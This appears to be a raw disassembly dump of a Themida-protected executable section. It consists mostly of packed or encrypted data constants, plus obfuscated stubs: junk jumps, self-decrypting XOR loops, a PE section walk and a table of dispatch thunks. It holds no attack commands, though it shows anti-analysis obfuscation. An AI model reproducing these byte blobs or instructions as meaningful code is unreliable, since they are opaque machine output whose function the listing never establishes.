		dd 85255280h, 35A3D1C9h, 88B9CB87h, 0A8FA6687h,	2FFEB2BDh
		dd 27F56AD5h, 204EF437h, 267E8F3Dh, 88D42926h, 864B525Dh
		dd 1D326E3Ah, 0CF96824Ah, 0DD10E11Fh, 0E9894C71h, 0AD2614h
		dd 21270000h, 93E682Eh,	17D65006h, 71F03218h, 5A8E187Eh
		dd 7FA4FF55h, 0BF959A4Eh, 0A0F6F965h, 84CAC506h, 692F2022h
		dd 8EBCD32Fh, 95C98243h, 29658C80h, 968CF826h, 690F0ECFh
		dd 366C85ECh, 4D979B29h, 1D019C93h, 7916B2F3h, 5ADE519Dh
		dd 0CCD1DE08h, 0A47976F0h, 2900922Ch, 257F30BCh, 0FDEC313Eh
		dd 77BE9CA7h, 16D01611h, 15293319h, 5D0FCD7Eh, 24h, 262965E3h
		dd 0CF968CF8h, 96B9F10Fh, 0CF968C65h, 0E6525D8Fh, 4F5E518Ch
		dd 4F408791h, 0B8DC52Bh, 0DF000000h, 968C8CBEh,	6B64E6CFh
		dd 629FAB25h, 223h, 43E4A400h, 29738A85h, 97ED303Fh, 7A425B54h
		dd 0DC38C5CAh, 4A926B64h, 300C919Eh, 95EF3E31h,	7E46A7A8h
		dd 3727C6C9h, 81E68956h, 4C6h, 4EE8300h, 2474FF56h, 48F5E04h
		dd 0C6685C24h, 89000031h, 56682434h, 8900003Bh,	5750242Ch
		dd 0E0359ABFh, 7AB4B823h, 0F82929F4h, 58C6895Fh, 242C8B54h
		dd 8104C483h, 4ECh, 24348900h, 8B08458Fh, 8953242Ch, 4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 2434FF5Ch, 4C4835Eh, 0FD335AE9h
		dd 656D9BFFh, 3DB2344h,	0A3677F54h, 2A78DA42h
; ---------------------------------------------------------------------------


loc_57E678:				; CODE XREF: Themida_:0057E0A9j
		mov	eax, 6144A36h
		add	eax, ebp


loc_57E67F:				; CODE XREF: Themida_:0057E0A4j
		mov	edx, ecx
		jmp	loc_57E6D7
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_57E6A1:				; CODE XREF: Themida_:0057E6CCj
		cmp	ecx, 0
		jz	loc_57E6C0
		cmp	edi, [edx+0Ch]
		jg	loc_57E6C8
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_57E6C0:				; CODE XREF: Themida_:0057E6A4j
					; Themida_:0057E6D2j
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_57E6C8:				; CODE XREF: Themida_:0057E6ADj
		add	edx, 28h
		dec	ecx
		jnz	loc_57E6A1
		jmp	loc_57E6C0
; ---------------------------------------------------------------------------


loc_57E6D7:				; CODE XREF: Themida_:0057E681j
		mov	edx, 9FD3Eh
		call	sub_57E6F5
		sub	[edi+3EFD426Ch], ecx
; ---------------------------------------------------------------------------
		db 0C5h
		db 0CCh
		db 0Eh,	71h, 13h
		dd 93A62B0Ch, 67D609h
		db 0A3h

; =============== S U B	R O U T	I N E =======================================



sub_57E6F5	proc near		; CODE XREF: Themida_:0057E6DCp

var_8C		= dword	ptr -8Ch

		pop	eax
		jle	loc_57E70A
		pusha
		push	ebx
		pop	eax
		jmp	loc_57E709
; ---------------------------------------------------------------------------
		shr	[esp+ebp*4+1Ch+var_8C],	47h


loc_57E709:				; CODE XREF: sub_57E6F5+Aj
		popa


loc_57E70A:				; CODE XREF: sub_57E6F5+1j
		add	eax, 7438h
		call	sub_57E723	; CODE XREF: sub_57E723+2Fj
		mov	dword ptr [esi], 0CAC1B62Fh
		fisttp	dword ptr [eax-44E98495h]
		clc
		pop	ss
sub_57E6F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57E723	proc near		; CODE XREF: sub_57E6F5+1Bp
		sbb	bl, 69h
		pop	ebx
		mov	esi, 1CD7h
		jbe	loc_57E736
		mov	dx, 8FC1h


loc_57E736:				; CODE XREF: sub_57E723+9j
					; sub_57E754+5Ej
		mov	edi, [eax]
		mov	bx, ax
		xor	edi, 61E2475Ah
		clc
		sub	edi, 55DB3433h
		call	sub_57E754
		icebp
		sbb	edx, esi
		add	al, 2Fh
		jz	short near ptr loc_57E710+2
sub_57E723	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57E754	proc near		; CODE XREF: sub_57E723+25p

; FUNCTION CHUNK AT 005519C3 SIZE 00000047 BYTES

		sbb	edx, 2FEEA8F6h
		pop	ebx
		add	edi, 501EE91Bh
		jnp	loc_57E76F
		pusha
		ja	$+6
		popa


loc_57E76F:				; CODE XREF: sub_57E754+Dj
		mov	[eax], edi
		mov	bx, ax
		sub	eax, 4
		sbb	bl, 85h
		sub	esi, 1
		jnz	loc_57E7AD
		jge	loc_57E795
		jnp	loc_57E795
		jbe	$+6


loc_57E795:				; CODE XREF: sub_57E754+2Fj
					; sub_57E754+35j
		jmp	loc_57E7C1
; ---------------------------------------------------------------------------
		dw 9F79h
		dd 0B2A57066h, 6B632D90h, 9C219E94h, 78D7A199h
		db 1
; ---------------------------------------------------------------------------


loc_57E7AD:				; CODE XREF: sub_57E754+29j
		add	dx, 3C46h
		jmp	loc_57E736
; ---------------------------------------------------------------------------
		db 87h
		dd 8D3591FDh, 0F8CE8F1Bh
		db 0B0h
; ---------------------------------------------------------------------------


loc_57E7C1:				; CODE XREF: sub_57E754:loc_57E795j
		jmp	loc_57E927
; ---------------------------------------------------------------------------
		dw 490Bh
		dd 0ECE704BBh, 5893DA95h, 0CFDF0671h, 54FDBEB6h, 0A436365Dh
		dd 0D500BCECh, 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh
		dd 0AC325277h, 0BF009CACh, 0ADFC6C46h, 36597390h, 0E275D6A3h
		dd 90BD9C72h, 0E693DD00h, 92A79B8Ch, 0ABDD64A5h, 8F9792A7h
		dd 5CFC7A91h, 0E496B9F9h, 0E4B59BB1h, 92B69F47h, 0F694B6E5h
		dd 0EBB59EBDh, 0D0EC96B3h, 0BF999C93h, 5CFD7B97h, 0F49389F5h
		dd 0CD00EDAFh, 94A6E3B2h, 0C3B5D4E5h, 2D445700h, 29B0F362h
		dd 38AEh, 3C00h, 4000h,	2 dup(0)
		dd 400h, 9400h,	500h, 100h, 0A2800h, 200h, 29h dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_57E927:				; CODE XREF: sub_57E754:loc_57E7C1j
		jmp	loc_5809F6
; ---------------------------------------------------------------------------
		push	6144FABh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61450BDh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61451A8h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6145288h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6145353h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61453F9h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61454D1h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6145579h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6145973h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61459CEh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6145AEEh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6145E12h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	614619Dh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6146528h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6146693h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	614670Eh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6146762h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61467CCh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61469C7h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6146ACBh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6146CABh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		dw 0CD7Bh
; ---------------------------------------------------------------------------
		retn	1A8Ch
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0B3A6C22h, 6DD44E04h, 4EFA2C62h, 73980B41h, 0C3898642h
		dd 0A4EAE561h, 88CEC102h, 6D232C1Eh, 9240D72Bh,	91C9823Eh
		dd 0A1008E84h, 31D1AD2h, 65E01A1Eh, 0C8D5DA0Fh,	0C26008h
		dd 70E7530Fh, 0CF968CC2h, 0AE7F3341h, 2F202270h, 0D40E62DEh
		dd 4946816Ah, 1C336FDBh, 0CF968CEEh, 2B242375h,	0B8F06ED2h
		dd 89DD3B56h, 0B275B6D9h, 0DE6AD5A7h, 67D608CFh, 2918C985h
		dd 477314B6h, 9503F998h, 38372C08h, 3D297BE5h, 4286EB32h
		dd 7AAEE3C1h, 40CFF7E9h, 0E8809DCh, 5B154ED6h, 57A8C069h
		dd 30h,	0A7A899EBh, 64969A46h, 48386CB4h, 0A7B150C7h, 505846D5h
		dd 0F043DB2Ch, 59D7C0A8h, 2A518544h, 0C9CC985h,	8D21E5FBh
		dd 0EC9109DCh, 3F000000h, 7F8E8143h, 0EB323D25h, 81BC5791h
		dd 3C257F8Eh, 5B178533h, 8B121DC9h, 300CDD55h, 2C533936h
		dd 0CF96913Dh, 6FDE3537h, 2C9CF260h, 0D04ED6F0h, 4D9B4EEDh
		dd 95D118C6h, 99912FCFh, 0C354994Bh, 0CF95D113h, 9776E410h
		dd 0EA183F6Bh, 79CF95D0h, 2E8AA7CBh, 22090E7Ah,	27D5A6EEh
		dd 4A96C389h, 9CF6221Eh, 0E15FAEA1h, 9D9DA689h,	16A2CF98h
		dd 0F358BC5Ah, 0DA723113h, 68D82A56h, 69D92B67h, 82BD8766h
		dd 52C0708Dh, 0FA6EB8DEh, 3FF324F5h, 926B894Eh,	1DCAA4h
		dd 757AE800h, 515E851Fh, 0B3BCA9FBh, 919E4BDDh,	0F6F969BBh
		dd 2FDE07A0h, 0C45E343Bh, 0E7411718h, 83256B64h, 8E084E41h
		dd 3E2DDD72h, 693AC982h, 8887433Bh, 0E9E660C2h,	64EB27A3h
		dd 0CF968CB6h, 0E37AF4Dh, 30B48B64h, 9141D682h,	96CF9666h
		dd 0B4E4161Ah, 0C748386Ch, 0D5A7B150h, 0C306E715h, 0C985690Fh
		dd 2739CA5Eh, 9DCCB1Fh,	0F453h,	8143F900h, 3D257F8Eh, 0FD6CEB32h
		dd 77CF9690h, 748EFAF5h, 3838C5CAh, 0AA940E70h,	8842F067h
		dd 0B3C1CF96h, 76195505h, 0CF9688C8h, 9557215Fh, 55DD039Ah
		dd 0D1614F84h, 0B1E11F10h, 1DB5B45h, 5C99DF40h,	1806F795h
		dd 23757006h, 60D02D22h, 0CA402708h, 3745D5A6h,	0EC3A5D7Bh
		dd 6F90521h, 9EF60D18h,	274BCFE0h, 1C4890C1h, 4B0F2B2Ch
		dd 9814CF98h, 5EE5AA8h,	0F1CBD2DDh, 0B1AF7E71h,	43BF9503h
		dd 2ED20017h, 2351CF94h, 0B5E12625h, 0FABE554Dh, 5AB7B8A8h
		dd 894E2B4Bh, 0B8F86EBFh, 0FE00001Ch, 97114748h, 0AFF95F50h
		dd 49DBB1BEh, 67C19798h, 7DA6ECE3h, 363929D8h, 906C660h
		dd 6966E143h, 48478123h, 0D778B002h, 0C9823D27h, 4325673Ch
		dd 46C28887h, 92F76B58h, 96654DFDh, 0A0AEDACFh,	0F79876B1h
		dd 0CF95B647h, 7E32A0DCh, 5F353A24h, 8E8143EDh,	41F166D2h
		dd 95CF968Ch, 968C5482h, 0A6A5D3CFh, 6DB7660Ah,	222D18F3h
		dd 4D4281DBh, 6AEBA1DFh, 6E3A8649h, 858AC632h, 0CF968C55h
		dd 6DD2A6D2h, 0D5A7938Ah, 79B4B6CCh, 858728D6h,	13813FC9h
		dd 0BDB2B28Ah, 304C6B0Fh, 0F618CE41h, 735D8613h, 24C472E5h
		dd 7F1014F7h, 14F724CFh, 8D3BD854h, 0CB2C231Fh,	0D01B0833h
		dd 2CF459A4h, 0BBDC0878h, 1308268Bh, 0F8046C98h, 19614957h
		dd 0C5061E19h, 96EC5CCAh, 0B3F55B54h, 5E63BEB1h, 0AE33D331h
		dd 1BCDE95Dh, 7DEB0000h, 5D8A1C72h, 0BBAAFC52h,	9D44DEB4h
		dd 0FE6ABC92h, 0E3089BF1h, 53393632h, 341A15D1h, 187E71F2h
		dd 0FD535C8Eh, 22D047BBh, 21C9823Ch, 81433074h,	0F1037F8Eh
		dd 5307877h, 9CB3EFBBh,	0D5A7B6C7h, 0F42010ACh,	626797B8h
		dd 40FCC985h, 85631BCBh, 949C28C9h, 0C8D4E372h,	0FF2F209Ch
		dd 4C98562h, 62B363E8h,	4B0C985h, 20FDF272h, 0F3DD7830h
		dd 8364EBA7h, 98CF9669h, 0B7565988h, 2B2E1B89h,	9747BF7Eh
		dd 1639AF09h, 7E51AE8h,	313E257Fh, 32251583h, 0DF629D1h
		dd 94EE5AD6h, 60F7A3ACh, 0DF610B2h, 0BE6F03B1h,	37633791h
		dd 74B9420h, 0F5A5D314h, 57AC08EBh, 0DC049996h,	23DDE83Eh
		dd 67E1334Fh, 569E3868h, 0B9665586h, 0B9EB0D65h, 7671808Fh
		dd 624EFD44h, 1AEDAD99h, 1DCB0000h, 7DEA3C12h, 5B8A1C72h
		dd 0BDA4FE54h, 9E4ADCB2h, 0C368BB91h, 73D9D612h, 543A3531h
		dd 381E11D2h, 1D737CEEh, 42F0679Bh, 0C1C9823Ah,	81435054h
		dd 43F1FE6Ah, 1F4B95BAh, 90632C23h, 0DC68D5A7h,	4E7FF76h
		dd 0DED10CBCh, 7C5FF0A0h, 32CF9690h, 87A151C6h,	0EEA6CF96h
		dd 0B5AB727Dh, 28447307h, 4076D679h, 0DEB6C3Fh,	8566E959h
		dd 9A38FEDEh, 56B29F6Eh, 0B3C15602h, 0E73AEE14h, 376A4ABh
		dd 7F8D32EEh, 7563E651h, 4129E072h, 6093E56h, 994AD888h
		dd 85B5DA96h, 8232EDCAh, 0ACC60276h, 0B7CDBDB2h, 0F26EBFB0h
		dd 1CCE58BEh, 0CA90BED1h, 199732EDh, 0CAF82629h, 0F10F32EDh
		dd 0AF3DB643h, 0C81515E4h, 1A2202h, 0DDD21000h,	39362D77h
		dd 1B14D153h, 7976F335h, 5E519113h, 5786AFF8h, 6CB69C93h
		dd 0F99FFF0h, 2B7DD3DCh, 0D6603639h, 3985B5DAh,	9182C982h
		dd 0DC0F6593h, 898641D3h, 8E8143E1h, 0A2F6D27Fh, 8F2261F6h
		dd 4DC7D5A7h, 286E9C93h, 0F6D2952Dh, 7E61F6A2h,	63CF9691h
		dd 2BF564D5h, 0AECCD93Dh, 355A1642h, 0D864EBD2h, 17C74884h
		dd 2CD442CFh, 27C6C974h, 0C8E78B39h, 4EC61BCh, 0DFE6E050h
		dd 0A8E60C4Bh, 75A1DD55h, 49212E1Fh, 53FDDAE6h,	63DF6DDAh
		dd 72D8D711h, 0E8393630h, 740E9EFDh, 7CC674C9h,	0BA000019h
		dd 5BCD838Ch, 7BADE3ECh, 158FC5CAh, 3B6D232Ch, 0D94A000Fh
		dd 525D8534h, 0B5BAAAFCh, 959A45DFh, 0F4FB65BFh, 73E4149Eh
		dd 0C98239C3h, 43D1D340h, 2B961E81h, 14E9E661h,	0E002E2Ch
		dd 0E360BD2Bh, 828DB505h, 1DCE2414h, 0CAC50012h, 62355AA6h
		dd 67D5A715h, 0ED0783C9h, 3A3B7F70h, 0A2F6D29Dh, 1B7E61F6h
		dd 0D563CF96h, 602F564h, 3B85635Fh, 0BB1C336Fh,	0A041DF12h
		dd 9BDB2084h, 0E11F021Ch, 2DE9371Ch, 0AEFA10C1h, 37FED47h
		dd 8986BDD7h, 83A4CC74h, 3FCE0EF5h, 5BDBA721h, 0A66FC990h
		dd 0ED53AAA5h, 609C3B7Fh, 0AD60E230h, 0CE6B7CAAh, 8A9B8A3Bh
		dd 375E4400h, 5E8A9C28h, 1D6D2351h, 0DF8C1CF3h,	0B9F19DFAh
		dd 1BF6F96Bh, 1A84A3BEh, 0A4E95DAEh, 92000018h,	0B3F55B54h
		dd 53D5BBB4h, 6DB79D92h, 1395FBF4h, 3172D8D7h, 6A65DD0Ch
		dd 4D428224h, 0ADA29D07h, 8C83BDE7h, 1B3C4CC6h,	0C98238EBh
		dd 43F92B78h, 0F7F86A81h, 61BC2A16h, 0E05004ECh, 0CE1DFE6h
		dd 0B0318A8h, 3B92E050h, 9BE78B39h, 0AA7CE9F4h,	96C27ED5h
		dd 236FC808h, 0A6E49BDh, 0B5BAA4FEh, 231AB8DFh,	2A8BC982h
		dd 70F0027Eh, 0FEB2AE7Fh, 0D3DC0E98h, 0A0F4DC7Dh, 0C74884F0h
		dd 0C9822317h, 4786902Ch, 0E78BB548h, 966F3540h, 0CA8632CFh
		dd 0CE848BB8h, 1DE0EF54h, 0FF0A05C7h, 894C4BD8h, 0FCCB7FCCh
		dd 3A000017h, 0DB4D030Ch, 0FB2D636Ch, 950F454Ah, 0BBEDA3ACh
		dd 59CA808Fh, 0D2DD05B4h, 353A2A7Ch, 151AC55Fh,	747BE53Fh
		dd 0F364941Eh, 0C9823743h, 0B45153C0h, 0C748386Ch, 0D5AAD9BAh
		dd 0F301718Fh, 79187E71h, 69CCC98h, 59A5CDC2h, 82411436h
		dd 6BEC58C9h, 0C98240BBh, 5B743C48h, 8B121DC9h,	6EBFB0B1h
		dd 9AD644F2h, 40F9292Eh, 0F20EC982h, 0B768EFBEh, 6C98240h
		dd 0B78F9192h, 0FB09D9A7h, 84h,	3F6BB481h, 8D22CC43h, 9B29CF96h
		dd 8D13C702h, 0E45DCF96h, 1DCA12EBh, 0E6228B12h, 6C9ABD5Dh
		dd 0FBCF968Ch, 267ADF4Dh, 8E81FD1Dh, 0CF968C60h, 4F82ACE6h
		dd 0CAC94DE2h, 9D4DC2BEh, 0AACF95DDh, 2C101A1Eh
		dd 620FCD44h, 38h, 8C8DBE0Ah, 0C810CF96h, 0DF70AC9Ch, 0CF968D2Fh
		dd 94F0B834h, 0A7BDAC83h, 0E96EDAD5h, 0C9855B39h, 0D1FEB2CEh
		dd 0A4E9F7A3h, 653A4726h, 463EEC63h, 0B7C5C985h, 0BD0F7139h
		dd 48386CB4h, 0A7B498C7h, 8E1FADD5h, 0EB5FB4B6h, 862076E4h
		dd 6AB24B44h, 7381F1FEh, 0E2BBFFF0h, 60A6A1F7h,	1A3E9E6h
		dd 3F302CC7h, 661ECC43h, 9725C985h, 5AFD2919h, 0C98565ACh
		dd 0B4650DBBh, 609344Eh, 0ADF9C772h, 0F47381FDh, 0C790B7FBh
		dd 0DFCF966Fh, 0BD83031h, 0A8B60EC5h, 1AB35838h, 0EA9C19Eh
		dd 0D80A9CF2h, 0BAC836D7h, 4CF38788h, 47CD24BDh, 0A27B74F7h
		dd 0C303E85Ah, 910F31CCh, 0D101160Ch, 56575FE4h, 0FE095FDAh
		dd 297B27DCh, 297F333Ch, 8D82FE1Eh, 575FE45Dh, 5BA2AD9Fh
		dd 384AE6E5h, 356F030Ch, 0D44E040Bh, 0BC98656Ah, 17C74885h
		dd 2C575FE5h, 0A69B6290h, 458741C2h, 0E4578788h, 50EC575Fh
		dd 153A7622h, 575FE4E5h, 3CA2D662h, 967778EAh, 5F0B5FB9h
		dd 585791E3h, 0BD520B45h, 301D0BA9h, 9141D682h,	9657604Eh
		dd 0A631161Ah, 0AB5D7155h, 548AB8DFh, 6B99516Fh, 0F7778DFDh
		dd 0D44EB0F8h, 0AB35656Ah, 2E8FBEDCh, 4748F9D4h, 0AC88A1C9h
		dd 0C5C3BFB0h, 68B858B3h, 0CE9F939Fh, 0A37A75F6h, 1CE1EE59h
		dd 9CBE491Fh, 509691E7h, 71B39996h, 7A88F8F7h, 0F1A8C0CFh
		dd 7020745Ch, 808C38DFh, 0C98F3D57h, 0B6E2ED5Fh, 78487328h
		dd 0CBAF33FCh, 5196EC12h, 99914F5Eh, 5FF784B6h,	7679EE67h
		dd 9C934D97h, 49545B8Ah, 22FBF473h, 62E5BB3Eh, 0ACB7E940h
		dd 0BBF7F86Ah, 9D1C0E1Dh, 9F937598h, 333C2F79h,	0EF5EB4EAh
		dd 4F231DE0h, 76222D15h, 0F6E5153Ah, 0D662675Fh, 0E6228BA2h
		dd 0A7A89B5Dh, 0BBB4B7F1h, 678CB5CFh, 347CEAE5h, 252A1F65h
		dd 889B91D8h, 0BC929D4Eh, 17F6F96Ah, 0A2AD99EBh, 0F6B161F6h
		dd 3AB6675Fh, 0A9FDDB76h, 1E2956F9h, 823E6D71h,	0A1A2C67Bh
		dd 0DD0FE467h, 0B4EEA4D2h, 0E8E7618Ah, 0CDBD2B15h, 0F1B9B6B7h
		dd 8962DC38h, 6FE0505Fh, 616EDBBFh, 63BA2844h, 1738748Ah
		dd 616EDBE7h, 0DBFA282Fh, 0FB09616Eh, 96C8A0DCh, 96994B8Dh
		dd 6F1A3CDAh, 824A4941h, 0FEC688EEh, 0B061EA04h, 2Fh, 0E013C56h
		dd 0D32941FFh, 26FC7B65h, 0F895532Fh, 0FEF172B0h, 92C6222Fh
		dd 8146B1A6h, 0FF4BD5A7h, 8570AA58h, 9D0BB9C9h,	2983B7h
		dd 43A90000h, 7E8F80h, 8C9343D4h, 6490CF96h, 56DAD512h
		dd 19491DFBh, 0A7BF4176h, 0DE8A26D5h, 5A3DED62h, 0BECAC985h
		dd 903A94FAh, 0E3F5547h, 3244FC01h, 7BE53837h, 0EABE1A37h
		dd 933699BEh, 9D2BD5A7h, 9D7DADACh, 0A008BE38h,	0CEDFD010h
		dd 0A3B4E412h, 0E3058A40h, 0D9769725h, 38E669FFh, 0CFDAE36Dh
		dd 3D5703B1h, 0E5610906h, 0F4A86672h, 0E460B2E0h, 722E12EBh
		dd 0F4682DDDh, 0EA8E3ADCh, 0B1C3BFCDh, 0EDE25CB7h, 5D8F197Fh
		dd 48E64752h, 0CD1E7BEEh, 140219h, 3D323000h, 1916CD57h
		dd 7B74F133h, 59569315h, 0BEB1B1F3h, 77A64FD8h,	0C96FCF3h
		dd 2F79DFD0h, 0CB5D333Ch, 0F6401619h, 336595BAh, 0B1E2C982h
		dd 8D90BE73h, 0CB15CF96h, 13ACA39Fh, 18D5A7B0h,	0E566BCECh
		dd 0A6D4DB0Eh, 0BAB5B6F0h, 202F1963h, 5D4812D1h, 0B1A5868Fh
		dd 13A7h, 0F258578Dh, 0D6BCB3B0h, 0B89E914Ch, 9EF4FB6Eh
		dd 7DD3DC04h, 10D0012Ah, 7FEF391Fh, 5F881A70h, 0BEA8FA50h
		dd 2159DBB1h, 8234002Eh, 1E0E07C9h, 67DC6CB4h, 0F3FC38F8h
		dd 0DF4DA61Eh, 7976F6CEh, 900EBCA4h, 2A14AFA0h,	0F19D5A7h
		dd 8C8D5DAh, 0E854AE9Ah, 6EDA06E7h, 84E939E9h, 0FEB2CEC9h
		dd 0FCF37082h, 48D70C96h, 0E0254546h, 10ED1B97h, 88151AC4h
		dd 0ACA31F4Bh, 0C985447Eh, 0ED037785h, 0A8A79C5Ah, 925993E2h
		dd 0E3316034h, 0E53F6B64h, 6039717Eh, 9DB59432h, 630AB826h
		dd 61F7280Fh, 3D6BC985h, 7877EC2Ah, 0D24DFA08h,	0CD5053DBh
		dd 0BD40FE14h, 1F89EF83h, 807C328h, 0C0DD4BF5h,	81F1A503h
		dd 9912E38Eh, 98C864CFh, 81D7D80Ah, 7E2A2527h, 2DD0D02h
		dd 0DE6ACF91h, 624E835Ah, 25D57A36h, 22D5A54Fh,	9E48DA96h
		dd 53C1CE75h, 0B6B9ABFDh, 0DA1EFA57h, 0DD9CDE8Fh, 4BFB9CD3h
		dd 0D8C984C7h, 0D0803EACh, 95F2B0BFh, 558CE6CFh, 4BF9D65Ah
		dd 4C83F9BEh, 0A6946989h, 1287h, 0D2B8B7ADh, 0B69C9350h
		dd 98FEF16Ch, 7ED4DB0Eh, 5D333C24h, 70F021CAh, 5F8F197Fh
		dd 0BFA8FA50h, 9E48DAB0h, 179BB91h, 8232E00Eh, 0FE2E67C9h
		dd 968C99BEh, 0B578EBCFh, 968C74A2h, 484786CFh,	0F86B3D4Bh
		dd 0BC2A16F7h, 0BAB5B6CCh, 53B5FD63h, 0D28EDA26h, 74452734h
		dd 61093852h, 0B0CC72E5h, 3D4BD5AAh, 3936374Dh,	0A09DF753h
		dd 65B1CBAFh, 8CF82629h, 0F10FCF96h, 0E38BB3B9h, 0B6CC104Dh
		dd 9FF0B8B7h, 178h, 3E6AB42Dh, 41F2654Ch, 3ECF968Ch, 97485602h
		dd 0AF83D4B7h, 0F1FE6E38h, 296543B9h, 77364AFh,	2ADCA1CFh
		dd 65593133h, 0FE0C6492h, 0D0DF0F65h, 16E60658h, 6DD868B4h
		dd 8C7FAFA0h, 6884CF96h, 861C4CFAh, 81BF4E41h, 148A93E9h
		dd 2C444BFEh, 0DA0F65DEh, 6008C8D5h, 0C3BDE935h, 0B39B2064h
		dd 1F12CDE3h, 4Ch, 262965ADh, 0CF968CF8h, 9CB9F10Fh, 0DE346430h
		dd 0F208606Fh, 8C41F265h, 3AC6CF96h, 0E122F289h, 0A29C0A36h
		dd 69DB2965h, 3156FAF6h, 6B99FD32h, 0B0CAAE92h,	0D4DB0F65h
		dd 0C8C7065Ch, 0AD097B96h, 36h,	0ADA2A3F1h, 7288E050h
		dd 423C68B4h, 5AFD2965h, 0CF968CACh, 717EE9BBh,	6C06B4ACh
		dd 3F21FCF3h, 8D23D47Bh, 64C0CF96h, 0DF0F653Ah,	0FE2C58D0h
		dd 0D38D8243h, 0B39B097Bh, 1F12CDE3h, 56h, 262965ADh, 0CF968CF8h
		dd 0A4A7F10Fh, 8AEE52ABh, 551743AFh, 0CCDE7B65h, 5F0A385Fh
		dd 0EB19CF96h, 659FC6EDh, 2204FBD7h, 87EB1939h,	7423D47Bh
		dd 6D6BCF96h, 77420A99h, 933C74F2h, 0F653B65h, 205CD4DBh
		dd 6F8443FAh, 3729F4FBh, 97BC7B9h, 1FADh, 6EB4FF00h, 0F265403Ah
		dd 0CF968C41h, 6558023Eh, 9C7B6527h, 7E1A4F69h,	9C4B9991h
		dd 97BA993h, 0FFFE82ADh, 9285F1FFh, 0CF968C64h,	528097E3h
		dd 0D1CF968Ch, 0F7D35A3h, 48386CB4h, 7F562C4Eh,	0C2B6ED05h
		dd 791E4A86h, 0CF95EEC9h, 9650225Eh, 54DC0499h,	0AA3AE6F3h
		dd 343163D5h, 9D606FDFh, 0CB8735A3h, 0D0808FB9h, 6A310136h
		dd 0E39754E4h, 77F70D7Dh, 0F7BBA578h, 7D2D795Ah, 81C72CDAh
		dd 0C84F3BC9h, 0C981C71Ah, 0EFECE35Ch, 7FDA2351h, 0C981C6D1h
		dd 66E92423h, 0C981C6B8h, 7A83314Fh, 0D32A2522h, 0B59790E4h
		dd 0A5BB4CDCh, 9D92DE1h, 3CD1h,	8CBE7F00h, 0E6CF968Ch
		dd 78A6A964h, 8FCF968Ch, 997C371h, 4083E134h, 8482BE4Fh
		dd 0C5ADD9BEh, 424BFCA3h, 7652CF96h, 7AE17622h,	7FD5A765h
		dd 0E53F8BC1h, 539717Eh, 9Ch, 386CB457h, 0FB814E48h, 84FFD7FAh
		dd 1CFF90ECh, 1D5A76Ch,	0C4D9D617h, 60B2EE1Ch, 0A2E8E7h
		dd 1835C8C7h, 0A3B4E4B0h, 0CF9999FEh, 79DCD7Bh,	59FCBC4h
		dd 937D6D9h, 0BAA5FF61h, 1DFB68B5h, 57AD1949h, 0AF909897h
		dd 0D5A563B1h, 78A6A9E5h, 8FC98553h, 629E3971h,	6D62DC36h
		dd 4C43FD27h, 5D54C2BDh, 0A195768Fh, 0F63h, 0B69C9351h
		dd 92F8F76Ch, 74DAD510h, 52383732h, 391F10D0h, 0AC9445EEh
		dd 8BBBEDA3h, 0EB54CE84h, 0CA74AEE4h, 0F5058FC5h, 822EB462h
		dd 0A2E2B3C9h, 0F86A8143h, 58A479F7h, 531CE1EEh, 0A34F275h
		dd 390D4F05h, 790FCDEBh, 44h, 0DC6CB407h, 2F1B6D62h, 0ACC6B220h
		dd 0FD63BAB5h, 0F31D49B5h, 0EDD1941Ah, 0B59A9E12h, 0D5A6A852h
		dd 0F8C4D957h, 0BF0B414Eh, 0BCF4FB65h, 12EBE466h, 0CB87D33Dh
		dd 78858AB9h, 0C354B0F8h, 0CF959FE0h, 6FE1B7C5h, 0DF8B8443h
		dd 0D8D71163h, 968C83B3h, 3C7480CFh, 949B48DAh,	1AB53AA4h
		dd 8DD53F6h, 3F554960h,	0C669010Eh, 0CF967F1Fh,	0B5E5EA55h
		dd 7F28D679h, 813FCF96h, 0EEA87E9h, 0CE69EE5Ah,	53D5AACAh
		dd 276B74B5h, 0A8264825h, 3F508CF8h, 0C981A50Fh, 0A7A89814h
		dd 0C981A477h, 0EA38708Ch, 0A21E747Bh, 29B9450h, 0F9040B3Ah
		dd 2BA1C947h, 4DE3A39Bh, 166EF10h, 0B4BD0000h, 654C3E6Ah
		dd 8CF82629h, 0F10FCF96h, 19CA4DB9h, 0D6CF968Dh, 0F65306Ah
		dd 2C58D0DFh, 1BB1D6F0h, 6620B5BAh, 0BAF5252Ah,	0C672CF95h
		dd 0AF4F58B2h, 3C68B45Fh, 3C33364Ch, 0C13B7FE1h, 6EB41A8Ah
